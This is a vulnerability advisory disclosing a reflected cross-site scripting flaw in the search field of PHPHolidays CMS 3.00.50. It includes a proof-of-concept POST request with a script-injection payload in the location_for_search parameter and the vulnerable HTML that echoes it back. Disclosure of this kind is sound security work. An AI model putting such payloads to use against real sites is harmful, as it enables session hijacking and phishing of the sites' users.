PHPHolidays CMS v3.00.50 - Cross Site Scripting Web Vulnerability

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Document Title:
===============
PHPHolidays CMS v3.00.50 - Cross Site Scripting Web Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1948


Release Date:
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2016-09-08


Vulnerability Laboratory ID (VL-ID):
====================================
1948


Common Vulnerability Scoring System:
====================================
3.1


Product & Service Introduction:
===============================
The PhpHolidays is a travel web portal script designed for Travel Agencies & Tour Operators for booking packages 
online. 
The Car Hire and Vacation Rental modules are also integrated with this software. This script is a CMS Driven integrated 
web 
application platform, which is considered as one-stop solution developed especially for Travel agent & Tour business 
owners.
 
(Copy of the Homepage: http://www.phpholidays.com )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a client-side cross site scripting vulnerability in the 
PHPHolidays 3.00.50 content management system.


Vulnerability Disclosure Timeline:
==================================
2016-09-08:     Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Eicra
Product: PHPHolidays - Content Management System (Web-Application) 3.00.50 


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
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A client-side cross site scripting web vulnerability has been discovered in the official PHPHolidays v3.00.50 content 
management system.
The web vulnerability allows remote attacker to inject own malicious script codes on the client-side of the vulnerable 
module or service.

A client-side cross site scripting web vulnerability is located in the search engine. The web vulnerability could allow 
an attacker to 
execute javascript in the web-browser of the user or administrator to compromise session credentials. The attacker can 
connect to a 
third account to trigger the issue without knowing the password.

The security risk of the client-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring 
system) count of 3.1. 
Exploitation of the client-side cross site vulnerability requires no privileged web-application user account and low or 
medium user interaction. 
Successful exploitation of the vulnerability results in non-persistent phishing, session hijacking, non-persistent 
external redirect to malicious 
sources and client-side manipulation of affected or connected web module context.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Add (Input)

Vulnerable Parameter(s):
[+] location_for_search


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without privileged user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to 
continue.


--- PoC Session Logs [POST] ---
Status: 200 [OK]
Host: phpholidays.localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://phpholidays.localhost:8000/
Cookie: __utma=257594058.2078559717.1473247729.1473247729.1473247729.1; __utmb=257594058.3.10.1473247729; 
__utmc=257594058; 
__utmz=257594058.1473247729.1.1.utmcsr=eicracms.com|utmccn=(referral)|utmcmd=referral|utmcct=/cms_demo.php; __utmt=1; 
PHPSESSID=47c19141ab0bf4cec7e81704c46fb6aa
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 187
location_for_search='"/>></script><script>alert("vulnerabilitylab")</script>&check_in=&check_out=&search_room=1&search_adult=1&search_child=0&block_search=search


--- PoC: Source ---
<div class="form-group">
<label for="location_for_search">Location :</label>
<input name="location_for_search" type="text" id="location_for_search" 
operator="contains"value="'"/>></script><script>alert("vulnerabilitylab")</script>"placeholder="Any" 
class="form-control"/>
</div>


Reference(s):
http://phpholidays.localhost:8000/


Security Risk:
==============
The security risk of the client-side cross site scripting vulnerability in the web-application is estimated as medium. 
(CVSS 3.1)


Credits & Authors:
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ZwX -  [http://www.vulnerability-lab.com/show.php?user=ZwX]


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